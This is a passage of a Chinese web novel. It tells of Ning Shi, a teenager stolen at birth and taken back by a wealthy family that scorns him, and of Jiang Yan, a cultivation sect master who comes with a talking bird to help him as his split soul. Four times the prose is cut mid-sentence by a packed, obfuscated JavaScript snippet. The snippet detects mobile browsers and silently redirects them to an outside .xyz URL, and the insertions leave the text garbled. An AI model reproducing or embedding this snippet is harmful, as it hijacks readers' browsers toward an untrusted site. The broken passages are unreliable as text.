他没有问宁时为什么事散心。 这又让宁时的心情好了一些。 他想,这个世界今天看起来还不错,勉强原谅它半个小时。 江晏盛情邀请宁时在路边的一个快餐店共进晚餐。 宁时同意了。 他付完钱后,把手机扣在桌面上。 两碗热气腾腾的牛肉拉面端了上来。 此时手机“嗡”地振动了一下。 宁时掀起手机的一个角,看了眼屏幕。 先看到了发信人三个大字“宁陟岳”。 他微微翻了个白眼,又抬头向对面的江晏看过去。 江晏低着头,正用筷子奋力缠起一卷面。 宁时就又低下了头,再次按亮了屏幕,准备看看信息内容。 这时又是“嗡”地一声。 宁时看到锁屏页面上,详细的信息内容被一条新的消息覆盖了。 发信人:孙秀兰。 宁时闭了闭眼,深吸了一口气,又把手机扣在了桌面上。 真不巧,这两个人的消息,他现在都不想回。 吃饭最大,他也夹起一筷子面。 牛骨熬的汤底,鸡蛋和的面,再撒上一些翠绿的葱花,应该是很香的。 宁时却有点吃不出味道了。 这两条信息倒了他的胃口。 他匆匆把面条食不知味地塞到胃里,抬头看向对面的江晏。 江晏也要吃完了。 出乎宁时意料,江晏吃东西也很快。 结束了晚餐的江晏和宁时对上了视线。 江晏:“你要回家?” 宁时点了点头。 江晏:“我家在东边,翠景花园,以后来找我玩啊!” 宁时:“行。” 又顿了顿:“我家要往东走。” 江晏“唔”了一声。 宁时指了指一旁的公交站:“来车了,我先走了。” 说完,转过身去。 江晏的声音在他背后响起:“那周一见啊。” 宁时才想起,“我先走了”并不适合作为一个告别。 他回过头,试图加上一个挥手的动作。 这时,红灯变绿了。 下班高峰时间段汹涌的自行车流涌了过来,将他身后不算宽阔的道路填满了。 江晏消失在了车流里。 机动车道上,他要坐的那班公交车也来了。 宁时再看了一眼对面的马路,转身上了车。 …… 车流那头,江晏在和啾啾说话。 江晏:“今天我拯救了一个误入歧途的少年,耶!” 啾啾:“……不是,你就没觉得他根本不想打架吗?” 江晏:“那要不是我把他拉走,他打算戳在那里变成石头吗?” 啾啾跳上了他的肩膀:“行行行,你最厉害了,行了吧?” 江晏笑了一下:“世上就没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14902315|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我江晏办不到的事,不就是个分魂,我堂堂峰主还亲自来教他。” 啾啾痛苦地用翅膀捂脸:“别自恋了,你们这才见了第一面啊……” 此刻的江峰主对拯救分魂任务充满了信心,因为宁时还什么都没对他说。 西城湖居。 这是整个城市里,数一数二的高档别墅住宅区了。 宁时拎着他那被磕掉了几块漆的水杯,从容地走在西城湖居内部的道路上。 刚刚,他甚至还和这里的门卫打了招呼。 ——他对这里熟悉得像是在自己家。 这确实也可以说是他的家。 宁时走到了一栋独栋别墅后,推了推后院的门,没推动。 他露出了一个明显厌烦的表情,随后又转身去了正门的方向。 他在书包里掏了很久,才摸到压在几本书底下的冰冷坚硬钥匙。 拿出它的时候,不知道是别到了哪里,宁时听见了一声明显的撕裂声,估计是哪本书被划开了。 他低声“我去”了一声。 随后用钥匙开了那扇颇有质感的金属大门。 门后是全红木的地板,隐隐约约反射出他的身影。 宁时探头张望了一番,只见到了正背对着他擦拭家具上浮土的张妈。 他多少放下心来。 宁时低头,打开了旁边的鞋柜,准备换鞋。 然后他的神色变得难看起来—— 他的拖鞋上多了几个明显的脚印,在浅灰的鞋面是格外明显。 宁时撇了撇嘴,他拎出自己那双鞋,用纸巾擦了擦,随后换上。 纸巾擦不下去多少灰,看起来还是灰扑扑的。 接着他又用自己那双外鞋的鞋底,对着剩下三双拖鞋均匀涂抹了一番。 现在它们都变得灰扑扑了。 宁时看了看,发出一声嗤笑。 张妈听到了动静,回过头来,看到了宁时,道:“回来了,要吃点东西吗?” 宁时一边说“吃过了,不用”,一边转身上了楼。 木质楼梯发出轻微的嘎吱声,张妈又仰着头对他说:“今天太太和先生回来吃饭,瑜瑜待会儿从学校回来。” 宁时换了只手拿书包:“知道了,他们吃就行,不用叫我。” 张妈还想说些什么,宁时加快了脚步,一转弯,消失在楼梯间。 别墅一共有三层,二楼是起居室和大阳台,三楼也有几个房间,很多杂物堆在三楼。 宁时也住在三楼。 他关上了房门,摊在这不到二十平面屋子里的床上。 外面是蓝色的天空。 宁时在想,自己好像忘记了什么事情。 到底是什么呢? 手机又是“嗡”地一声。 他拿起来,发现是班级群里,周莉艾特了同学们,说在明天周日的一天假期中也不能放松等等。 他看了一眼,准备熄屏。 这时,他突然意识到自己忘记什么了。 他和新同桌,江晏,两个人居然只是吃了一顿饭,没有加任何联系方式。 ……后天总能见到,宁时心想。 他看着天,秋天的夜色来得渐渐早了,光线逐渐变成橘黄色,透过白纱窗帘照进来。 让人有种昏昏沉沉的睡意。 宁时半梦半醒之间,突然听见了一个尖锐的声音响起: “宁时你给我出来!” 那是十几岁男生的声音,略带一点稚嫩,又掺着变声期的沙哑,听起来让人很不舒服。 这是他有血缘关系的弟弟,宁瑜。 5. 身世 宁时躺在床上,翻了个白眼。 宁瑜的声音还在响着,并且离他越来越近了。 “你躲什么啊,缩头乌龟。” 宁时面无表情地拿起床上一个枕头,捂在脸上。 蓬松的棉花遮挡了他的耳朵,外面的声音一下变得模糊起来。 宁瑜的声音好像从很遥远的地方传来:“真没有家教。” 宁时扶住枕头的双手紧了紧,短暂地爆出几根青筋。 宁瑜的声音又大了些,接着宁时的门啪啪响了起来。 ——这个熊孩子在锤他的房门。 宁时深吸了一口气,在心里开始默默数数。 一,二,三,四,五…… 数到十的时候,那疯狂的锤门声消失了。 宁时放下了捂住耳朵的枕头。 他还没来得及把枕巾上的褶皱拂平,门外又突然传来一声巨响! 宁时被宁瑜这一下弄得差点跳起来。 他看着那不断颤动的房门,转而将枕巾狠狠一扔,快步走上前去,干脆利索地打开了门。 在门将开不开的那一瞬间,宁时微微往侧面一闪。 果然,疯狂锤门的宁瑜一时没有收住手上的力气,在门打开的一刹,失去了支撑,向前趔趄了几步。 宁时眼看着他脚下慌张地踩了数下,最终左脚绊了右脚,自己把自己绊倒在地。 于是宁时毫不掩饰地发出一声嘲笑。 宁瑜手忙脚乱地站起身来,并发出尖锐的爆鸣。 宁时垂着眼,看着他这个初三弟弟的头顶,平静地伸出手堵住耳朵。 这个家不如不回,他想。 可是他也不知道自己能去哪里。 宁时的家庭有点复杂,是小说中很经典的真假少爷的情节,但又稍微有所不同。 他和宁瑜,都是真少年。 时间要回到十八年以前,也就是宁时出生那年。 很老套的桥段,他出生在一个私人医院,父亲宁陟岳,母亲代玉兰,都是高知。 一个搞金融,一个是律师。 如果没有什么意外的话,宁时应该在这一对夫妻的身边,得到很好的教育。 坏就坏在他被人偷了。 对,是直接被偷走了,还不是互相调换孩子。 至于为什么在众多孩子中选中宁时,是因为他的出生时间。 ——偷走他的那对夫妻,王丰和孙秀兰,结婚多年没有孩子。他们找本村算命的看过,说要领养一个特定时间生的孩子。 那孩子命中带兄弟姐妹,会给他们带来自己的孩子。 福利院里多的是健康的女孩,王丰和孙秀兰又想要个男孩。 他们想,万一呢,万一这个办法不管用,那养大一个男孩也是很好的。 就这样,宁时从很小的时候,来到了不属于他的家。 然后他在这个家里活了十七年。 养父母自作主张地改了他的姓,那时的宁时叫作王时。 成片的农村自建房,野地上在风中摇摆的杂草,争吵的养父母,缝纫机上的作业,都是他的记忆。 噢,在他十岁时,养父母家真的拥有了自己的孩子。 是一个男孩。 也许是宁时真的起作用了吧。 养父母给这个来之不易、千盼万盼才出来的孩子取名叫“王盼才”。 养父母是城市边缘普通的村民,主要生活来源是打工不是种地,但多添了一个孩子,还是让经济拮据起来。 宁时终究还是比不过他们的亲生孩子。 于是,宁时本来就有些拮据的生活变得更是雪上加霜。 除此之外,他还担负起了照顾弟弟的责任。 小时候,宁时一直以为自己的养父母就是亲生父母。 所以,当王盼才降生时,他最初也是充满了喜悦和期待的。 只是,父母好像看不见他了。 他们抱着王盼才坐车,却忘记了宁时在后面拿着包跟着。 他们会给弟弟买奶酪棒等等零食,坚硬的塑料壳看着很有质感,是不同于村里小卖部中包装袋会掉色的廉价零食。 只是也没有宁时的。 再或者,他们会在出去打工时,把王盼才扔给宁时照顾。 宁时就在一大早,扒着灶台做饭,然后匆匆背起书包去上学。 中午的时候,他还要再回家一趟,看一看弟弟怎么样,再做一顿午饭。 晚上回家,继续重复以上步骤。直到王丰和孙秀兰回家。 有时也会发生意外。 比如,某天王丰回家早些,发现王盼才摔在了地上。 这时,宁时再回家,就少不了一顿骂。 王丰气在头上,偶尔也会打他。 宁时最初对此保持着很宽容的态度。 作为大哥,宁时认为自己不需要太多花里胡哨的东西照顾弟弟也是大哥应该做的。 但是,随着时间渐渐推移,宁时发现,自己无辜挨骂挨打的次数超出了他的容忍程度;而且他这个弟弟,拥有的也太多了些。 甚至他还想要宁时所拥有的。 小孩子未必是善良的,他们的本性是以自我为中心的,只想着满足自己。 于是,当五岁的王盼才吃掉了自己的鸡柳,并一边抢宁时的鸡柳一边哇哇哭时,宁时感到自己濒临爆发的边缘。 爆发的起火点是孙秀兰的一句“你抢弟弟的东西干啥”。 这样的事发生过太多次了。 宁时开始第一次控诉。 他却看到了孙秀兰不可置信、厌恶、恐惧的眼神。 那眼神实在不像是一个母亲。 孙秀兰带着他和王盼才回家,路上她没有和宁时说一句话。 当天晚上,宁时失眠了。 他在去厕所时看到了父母禁闭的房门下,微微亮着灯。 他听见了窸窸窣窣的人声传来。 “当年你为什么要把人抱回来?” “这不是你让做的?可我们现在有盼盼了。” 然后是长长的一声叹息。 “要是小时的亲生父母把他领走就好了。” “是啊,盼盼来了,他也该走了。” …… 后面的话,宁时几乎听不清了。 他猝不及防地知道了一切真相。 恍惚中,他居然想起了一个细节。 那是他小学的时候,养父母对他还不错。有次学校举办亲子活动,王丰和孙秀兰都过来了。 “哎呀,你们这孩子真会长,俊得都不太像你俩了。”不知是哪个声音说。 隔了这么多年,他才发现真相。 之后的情节好像被按下了加速键。 王丰和孙秀兰自从有了把他送走的想法后,就不再掩饰起来。 他们会明着暗着说一些十几岁的小孩就独 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14902316|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自出去打工,养活自己的事。 见宁时不为所动,还在继续读书,两人后面干脆直接告诉他,是被收养的。 “你要是有良心,现在就去给你弟弟挣学费去!” 这样的话说了很多次,宁时几乎受不住这份压力了。 他开始有意无意地缺课。 ——成绩不算好,对学习也不算认真,这样的话,即使是辍学也没有关系的吧? 转折点来了。 在他高二,也就是宁瑜初二那年,亲生父母找到了他。 他的亲生父母无法忍受自己的孩子在一个他们眼中“没什么文化”的环境里生长。 于是宁时被迅速领回了家,迅速地改姓。 他本来以为回到亲生父母身边,一切都会变好。 但是宁瑜出现了。 在他见到宁时的第一面,就大吵了起来。 这让宁陟岳和代玉兰都很是尴尬。 宁瑜是个经典的熊孩子,他一直坚定地认为,宁时的到来,分走了父母的爱。 所以,宁时自从回了这个家,遭受的包括但不限于: 自己的被套上面出现的脚印、丢失的课本、客厅里的碎花瓶…… 他背了很多个黑锅。 按说他的亲生父母应该去管一管的。 但是当他们看到宁时,却难以一碗水端平。 宁时的生活经历,让他们的很多习惯都不相同。 比如最初,在进入入户门时换下的拖鞋。 或者是垃圾桶里从来不隔夜的剩菜。 这一切都提醒着,宁时和他们不是一个世界的人。 前十多年的生活,像是一条巨大的鸿沟。 养父母不要他了,亲生父母也没有从心理上接受他。 宁时过得非常迷茫。 而宁瑜对他的压迫还在继续,比如说今天在遇见江晏之前的事。 宁瑜有很多零花钱,通过一些手段找他麻烦也不是第一次了。 ……回忆应该要到此为止了,宁时想。 宁时回了回神,耳边依旧是宁瑜尖锐的爆鸣。 宁瑜站在他刚结结实实摔了一跤的房门口,涨红着脸,看起来气得发疯。 这时,楼梯口传来一阵略带急促的脚步声,听声音不止一个人。 宁瑜的尖叫声渐渐平息下来,宁时也转头望向那边。 ——是宁陟岳和代玉兰都上来了。 宁陟岳年过四十,却依然拥有一头浓密而乌黑的头发。他大概今天有事才回家,还没来得及换上家居服,身上还是外出办事时穿的西服,带着一副金属细框眼镜。 此时,宁陟岳的两道眉毛皱着,嘴角边隐约有两道法令纹,他沉着声音问:“这是怎么回事?” 宁时把双手抱在身前,没有出声。 宁瑜就等着他父亲这句话呢,闻言,带着哭腔指着宁时,道:“我不知道怎么惹了这疯子……” 代玉兰此时轻咳了一声:“瑜瑜?” 宁瑜顿了一下,才小声改口道:“……宁时,他把我的鞋故意弄脏了。我本来想找他理论,结果他故意把我推在地上!” 说完,还将裤腿撩了起来,指着刚才在地上磕到的膝盖说:“你们看,现在还红着呢。” 代玉兰和宁陟岳便都看向宁瑜所指的地方,一时间脸色都不太好。 宁陟岳看向宁时,语气冷淡:“你解释一下这件事。” 6. 无趣 宁时看着这一家三口,只觉得他们才是一家人。 他也不想向宁陟岳解释什么,多次经验证明,解释也是白解释。 宁陟岳和代玉兰只会听宁瑜的,拼凑出一个所谓的“真相”。 于是宁瑜冷笑了一声,冲着宁瑜说:“你自己心里清楚。” 宁瑜把双臂抱在胸前,“我不知道你在说什么。” 代玉兰叹了口气,她看着宁时,细细的眉毛拧着,眼神有些失望。 宁陟岳说到:“你真不像我宁家的孩子。” 宁时翻了个白眼。 像才怪了。 他被王丰和孙秀兰养了那么久才被接到亲生父母身边,但依旧没得到很好的照顾。 这种状况下,能保持一个正常的心态已经很厉害了,更别提养成宁陟岳一家的行为做派了。 宁陟岳发现了他这个白眼,脸色更是沉了下去。 宁瑜还在旁边添油加醋:“爸,你看他,你说他他还不服气!” 宁时便朝他露出一个皮笑肉不笑的表情。 代玉兰看着宁时,再次叹了口气。 她说:“我真是管不了你了。居鲍鱼之肆,久而不觉其臭。” 这是明着把王丰一家骂了。 宁时平等地看不惯他们和王丰一家,尤其看不惯他们高高在上的样子,于是顶嘴:“那我还能在这里,说明你们也就这水平。” 说完这句话,宁时紧紧盯着这对夫妻的表情。 他在内心里狂热地想着: 发火吧,暴怒吧,把我赶出去吧! 明明看不起我还硬要认回我,我就是在外面打工也比这要好! 宁陟岳的额角如宁时期望般剧烈跳动了数下。 顶灯把代玉兰垂下的嘴角扫出大片的阴影,她的喉咙滚动了一下。 快了,快要爆发了。 宁时期待又恐惧着。 出乎他的意料,宁陟岳用力按了按眼角,那只手离开脸上时,他再次恢复了平静,又恢复成了一个金融精英的样子。 代玉兰余光看见宁陟岳这样,吃惊了一瞬,转而似乎又想通了什么,长舒了一口气。 宁时于是就知道,他的自立更生计划再次失败了。 宁陟岳看着他,四十多岁精明中年人的目光好像看穿了他:“你别想着再离家出走,我们还丢不起这个人,你也跑不到哪儿去。” 说完,不再理会宁时,带着代玉兰和宁瑜转身下了楼。 宁时低声骂了一句,转身关上了房门,把自己抛在了床上。 他其实能理解宁陟岳的逻辑。 宁陟岳和代玉兰当年丢了孩子的事,在他们的朋友间可算传得是人尽皆知。 后面孩子找到了,消息又这么人尽皆知地来了一次。 朋友们都很好奇这对夫妻找到的这个孩子,时常会问起宁时的状况。 他亲生父母早已经过上了不用为金钱发愁的日子,名声的人脉对于他们才是更重要的。 宁时毕竟是一个大活人,还是自己的亲生孩子,真要是把人认回来再赶出去,总会有风声的。 那时候,别人怎么看他们?他们这张脸还要不要了? 所以,不管宁时怎么叛逆,他们在明面上还不能太苛待宁时。 宁时再次梳理了这一番诡异的逻辑,用枕头蒙住了脸。 见鬼,他做了什么孽要受这罪。 宁时用他近来不怎么使用的大脑想了想,一个主意渐渐浮上心头。 是一个足以让江晏尖叫的馊主意。 但宁时对他绞尽脑汁想出来的馊主意很是满意,他在睡前下定决心周一要向江晏分享这个好主意。 并抱着这个好主意安详地入睡了。 …… 第二天是周日。 周莉在班级群里发了周测成绩。 宁时不用点开看也知道自己这次的成绩惨不忍睹。 就这样吧,他想,他在一滩黑泥里,看不见好好学习上升的路。 也许是有的,但他被泥粘住了脚,爬不上去。 看不见希望,所以才不好好学习吧。 因为结果都是一样的。 烂一点的成绩,看起来遗憾还小一点。 宁时在床上瘫了近两个小时,“嗡嗡”的声音打断了他的emo。 宁时有点生气,他难得正在思考人生这么重要的一个题目,却被打断了。 他扫了眼屏幕,微微一愣。 那是一条好友申请。 是的,是他还没在学校见过的新同桌,江晏的好友申请。 聊天软件显示他们共同来自一个群,班级群。 宁时很快点了通过。 他打开和江晏的聊天界面,对面显示“正在输入中”。 江晏会说什么呢? 此时,宁时并不知道,他摸鱼的日子就要结束了。 时间回到前几个小时。 在城市的另一角,一栋普通的居民楼普通的一户屋子里,江晏正趴着床上用手机和宁时交流。 手机是啾啾弄出来的,江晏毕竟活了很久了,很快就掌握了基本用法。 他用手机联系上了周莉,加入了班级群。 刚进群没过多久,群里就发了他们班周测的成绩。 江晏刚刚转来,并没有参加这次考试。 但他出于对分魂的关心,还是打开了群文件。 然后啾啾看到了一个沉默的,浑身好像被阴云笼罩的江晏。 啾啾小心地跳过两步,来到江晏身边,在他身侧看向发着冷光的手机屏幕。 然后啾啾的鸟尾巴也耷拉了下来。 江晏幽幽的声音从啾啾头顶传来:“你说……这个世界的高中生们的心愿一般都是考个好大学吧?” 啾啾想到了从屏幕上看到的宁时惨不忍睹的成绩,没有接话。 江晏又敲了敲手机:“我不信我的分魂考这点分。” 啾啾:“拜托,你也知道那是分魂,你当谁都像你一样吗?” 江晏低头看了看这只小灰鸟,突然微微一笑:“你作为沟通宇宙的神器,应该没什么不知道的知识吧。” 啾啾听了这话,一个预感渐渐在心中升起。 它仰头试图看清江晏的表情,却感到鸟爪下的床垫动了动。 江晏已经起身来到了书桌边,抱起书包似乎在翻找这什么。 啾啾发出疑惑的声音:“啾?” 江晏背对着它,头也不抬:“你卖萌没用。”说话间,手上动作依旧不停。 在一阵悉悉索索的声音过后,江晏终于从书包里掏出了他需要的东西—— 几张卷子。 啾啾明显愣了一下,连滚带飞地扑腾到江晏面前,问:“你拿出来这些东西干什么?” 又用翅膀点了点自己:“我是神器欸,所有的知识我都知道欸。你放心吧,考试根本不会露馅的,我会告诉你答案的。” 江晏斜了眼它,凉凉地问:“那你能把□□告诉宁时吗?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14902317|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 啾啾跳到了江晏肩膀上,疯狂扑腾翅膀:“你在想什么——” 听到了预想中的答案,江晏摊了摊手:“这不就得了,还得靠我自己。” 啾啾:“啾?” 江晏单手把它从肩膀上拎下来,将啾啾悬在半空中,与它对视: “说真的,我打算亲自给宁时补课了。所以你先教我一遍,好吗?” 听了江峰主的这一番话,啾啾挣扎了起来:“别开玩笑了,这样效率一般很低,效果也不能保证……要么我还是努努力告诉他答案吧。” 江晏表情没有变化。 啾啾意识到了什么,再次尖叫:“江晏你不会玩真的吧!” 江晏走到床边,松开手:“我都说了是认真的。” 啾啾落在床上,仰起头,从这个视角能看到江晏微微扬起的下巴,耳边是江峰主少年体的声线:“我江晏做事,自然是要堂堂正正的靠自己。” “神器,说起来还是虚幻了。你看,你又不能直接帮我把分魂集齐,还是要靠我自己。” 啾啾只感觉扎心,它跳起来试图去用翅膀打这张精致的脸:“够了,再说我不给你讲题了,搞不定宁时你就留在这里吧!” 江晏炫酷的姿势僵住了。 但他从善如流,甚至还微微向啾啾鞠了一躬:“那就有劳啾老师了。” 啾啾看着眼前的人,眼角直跳,最后千言万语吐槽只能化为了一句感慨: “白一苇怎么就把我交给了你啊。” …… 于是,江晏在啾老师的教导下,很快掌握了中学知识。 在修真界能做到大门派峰主位置的,光靠努力不够,必须还要有天赋。 没有天赋,那些功法秘笈摆在面前,无异于在小学生面前摆了一本高数书。 江晏能在短时间内理解这些,天赋也起了很大作用。 啾啾的授课暂时结束了。 江晏拿起一本空白的练习册检验结果,发现自己现在的水平基本够用。 至少教宁时是够用的。 但他心里还是没底,于是戳了戳啾啾:“你看我现在估计能上哪种学校?” 啾啾:“二本吧,但这才开始,你再看看书,等高考的时候应该能上个C9。” 江晏“哦”了一声,又问“C9是什么?” 啾啾总于跳到了他脑袋上:“别问我这么基础的问题了,赶紧教宁时去吧!” 江晏便抬手摸了一把啾啾,接着低头抱着手机,给宁时发了一条好友申请。 然后看到页面跳转到和宁时的聊天页面,这代表宁时通过了他的申请。 速度这么快,这是一个好的开头。江晏这么想着。 他满怀信心和期待,在输入框里打下“我看群里刚刚发成绩了,我转校前是年纪前十,想给你补课,共同进步,怎么样?” 合江宗就那几个主峰,江晏作为其中之一,自认为“年级前十”这个说法没问题。 他按下了发送键。 过了三秒,对面提示显示“正在输入中”。 江晏等了等,但这时提示又消失了,消息框最上方规规矩矩地显示着“宁时”两个小时字。 江晏知道宁时看到自己的消息了,他等着宁时回复。 可这一等,就是整整两分钟。 当手机再次响起时间,江晏几乎是怀着一种迫不及待的心情点开聊天。 宁时:“不用了,谢谢。” 从未想过被拒绝的江晏:? 7. 出走 江晏盯着手机上“不用了”那三个字,木着脸,将啾啾从头顶扯下来。 “他拒绝了我的补课邀请。” 啾啾在江晏手里,挣扎着看了眼屏幕,发出无情的嘲讽:“宁时答应你才不正常。” 江晏盯着它,缓缓把它放在手边。 “啾,你们现在本来就不熟,只见过一面。” 啾啾继续扎江晏的心,“而且,你不觉得……你有点傲慢吗?” 江晏:“哈?” 啾啾:“你觉得给宁时补课是付出了东西对他好,可人家不这么觉得啊。” “你又不是他爸妈,现在你们只是同学。话说回来,就算是亲父母,这种态度也不能长久。” 江晏试图反驳:“可是他本来就是我的分魂啊,我怎么可能不了解……” 江晏说到一半的话突然停止了,显然是想到了什么:“不对,我记忆不全。” 啾啾:“哼哼。” 江晏抓了把头发,“你说的有道理。我已经活了很久了,不能拿现在的心态去要求一个少年。” 啾啾扑棱着翅膀:“够了,你自己知道就可以了。不要顶着现在这张年轻的脸说这么奇怪的话啊。” 江晏于是也雨露均沾地摸了一把啾啾头顶的毛发。 他再次低下头,对着面前的输入框重新打下了一行字: 没事,你平时有不会的题随时可以问我。明天见。 这次,宁时回复得很快,是一条“知道了”的表情包。 江晏自认为得到了肯定的答复,便安心了很多。他再次拿起啾啾给的练习册,准备再巩固一下知识。 毕竟他是打算要给宁时讲题的。 如此一天的时间很快过去,又到了上学的日子。 江晏在这个世界里特权不算很多,啾啾没有像他想象中一样,直接能把他送到教室的座位上。 所以江晏不得不老老实实坐公交。 为什么不骑自行车呢?因为他在家学了一天,并没有出门买自行车。 对此,江晏向啾啾提出过抗议,但啾啾无情地表示它不负责解决这个问题。 从前习惯了御剑飞行的江晏非常不适应,他开始怀念修真界了。 啾啾:“不是,那你还是凡人的时候还习惯不了走路吗?现在只不过是回到了从前。” 江晏握着车上的铁扶手,不动声色地将身后被挤歪的书包拽了拽,在脑海中回应啾啾。 “呵呵,我记忆的最初时间点就有修为,虽然到不了御剑的程度,但也比这样省力多了。” 啾啾假装听不懂他的话,道:“你失忆肯定和分魂有关系,现在就当让你回忆一下还是凡人是的感觉吧,没准激活记忆了呢。” 江晏:……… 不想说话。 过了半个多小时,江晏出现在了教室里。 他来得不算很早,已经有好几个学生在桌子上奋笔疾书了。 江晏粗略扫了眼,宁时不在,这也正常。 不过他身后座位的小胖子来了,正在展开一张叠过的数学卷子。 江晏对着教室里这些看起来很忙的学生,悄悄问啾啾: “他们在做什么?为什么这么早就在写题,好卷。” 啾啾平静道:“你再仔细看看他们笔下的内容熟不熟悉呢。” 江晏这才将头凑到小胖子身旁,小胖子写的那张卷子确实给他一种似曾相识的感觉…… “江哥你写数学卷子没有?写了的话就救救孩子吧!”小胖子突然抬头拉住了江晏的袖子。 ……好吧,原来是在补作业。 江晏就突然想起他还在合江宗做弟子的日子,平日里热热闹闹,也是这样。 白一苇天资聪颖,但有时也会犯懒。宗门学种种心法入门时,长老们总会要求弟子们先抄书。 白一苇不想抄,就会包下江晏半个月的午饭,让江晏代笔。 后来同门们知道了有这么一个代写,也就热热闹闹地都找江晏来了,白一苇反而排不上了。 而现在这些同门也都成长成了当年让人抄书的长老和峰主,回想起来,也是颇为好笑。 江晏有点想回去了。 他低下头,小胖子依旧拉住他的袖子,甚至怕江晏不同意,还摇了摇。 江晏背后的汗毛立了起来。 他连忙掏出写完的卷子扔给小胖子,由此获得了小胖子一个感激涕零的双手合十。 江晏坐回座位上,看着黑板上方的钟表,开始和啾啾有一搭没一搭地聊天。 秒针转过了一圈又一圈,二十分钟过去了,教室里的学生几乎坐齐了。 问什么说几乎,是因为江晏身边还空着。 宁时还没有来。 这时,江晏听到了身后小胖子压低的声音:“江哥,江哥!” 江晏回头,小胖子双手把卷子递给他“感谢江哥救命之恩。” 江晏:…… 这时,预备铃响了。 学生们把作业放在桌角上,开始早读。课代表们一边收着作业。 趁着嗡嗡的人声,江晏指了指宁时的座位,小声问小胖子:“他请假了?” 小胖子立起手里的课本,身子微微前倾,同样小声说:“不知道,也可能翘课了。” 江晏眉头皱了皱。 他现在在小胖子心中的形象很是伟岸,于是小胖子明显理解错了他的意思。 “你要是觉得他影响你学习,找老周说嘛。我看你肯定是个学霸,老周绝对会答应你大部分要求的。” 江晏“嗯”了一声,转身坐正了。 他还是不愿意相信宁时翘课的事实。 再等一会儿,万一是睡晚了迟到了呢。 结果江晏这一等,就是一整个上午。 他渐渐开始心烦了。 简直可以说得上是出师不利。第一个世界的分魂就这么折腾,照这个进度,江晏不知道什么时候才能稳固神魂回到原世界。 要是旁人这般摆烂,以江晏的性格,完全可以一走了之。 可坏就坏在江晏现在算是和分魂宁时绑定了。 宁时过不好,江晏也别想回原世界继续当合江宗的峰主。 江晏想到看不到尽头的满满任务路,整个人快要抓狂了。 他现在根本没有心情吃午饭,小胖子带给他的加蛋加肠加鸡柳的煎饼还在桌子上放着。 江晏愤愤地将头抵在桌子上,在桌面下打开手机聊天软件,打字。 江晏:今天上午没见到你,是身体不舒服吗? 过了两分钟。 宁时:没有,我不想上学了。 江晏看见这条信息,惊得差点把手机扔出去。 他下意识地直起后背,带着椅子磕在后桌边缘发出了一声轻响。 江晏才意识到了自己的失态。 他再次埋下头,用力握住手机。 屏幕边缘甚至出现了红绿蓝色的按压纹。 江晏一字一字敲下:昨天你还答应了我的补课提议,发生什么事了吗? 这次宁时回复很快:我说的是“知道了”而不是“好的”,不算答应。 江晏感觉自己的血压升高了,这十几岁的小孩在和他玩文字游戏! 宁时又发来一条:读不好书,我要找工作挣钱去,自己独立生活。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14902318|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >江晏:??? 宁时在说什么鬼话。 他决定和宁时当面好好谈谈。 他敲字:你再哪里? 宁时报了个地点。 江晏退出聊天界面,打算用地图搜一下这个地方。 安静了许久的啾啾此时说话了:“不用看了,那是片工业区。” 还不熟悉这个世界的江晏疑惑到:“工业区?” 啾啾也有点头疼了:“这孩子怕不是为找个包住的工作要进厂吧……你还是快点去看看吧。” 江晏很难理解什么是进厂,但他能理解此时把宁时带回学校的重要性。 他匆忙跑出教室,想了想,又折回来拿起那个豪华版煎饼,再次跑了出去。 江晏坐在出租车上,继续和宁时打字聊天:你再此地不要乱动,我带着煎饼来看你,想必你还没有吃饭。 这次,江晏收到了宁时回复的六个点,一串省略号。 江晏不知道他无意中巧合玩梗一样的话,让宁时真的在原地等着他来。 此时,宁时坐在某个连外卖都搜不到的小面馆里。他面前是一张不知道用了多久的菜单。 塑封的地方已经卷了边,沾着黑色的油污。 宁时一行行扫过放在桌子上的菜单。 最便宜的是一碗西红柿面,11元。 宁时想起了自己手机上的余额,有点后悔了。 ……反正江晏会带给他煎饼果子的,对吧。 于是他花一块钱买了瓶冰镇矿泉水出门,走到了街边,找了一处树荫底下坐着。 宁时在灌完了半瓶水之后,终于感到脑细胞们活了过来。 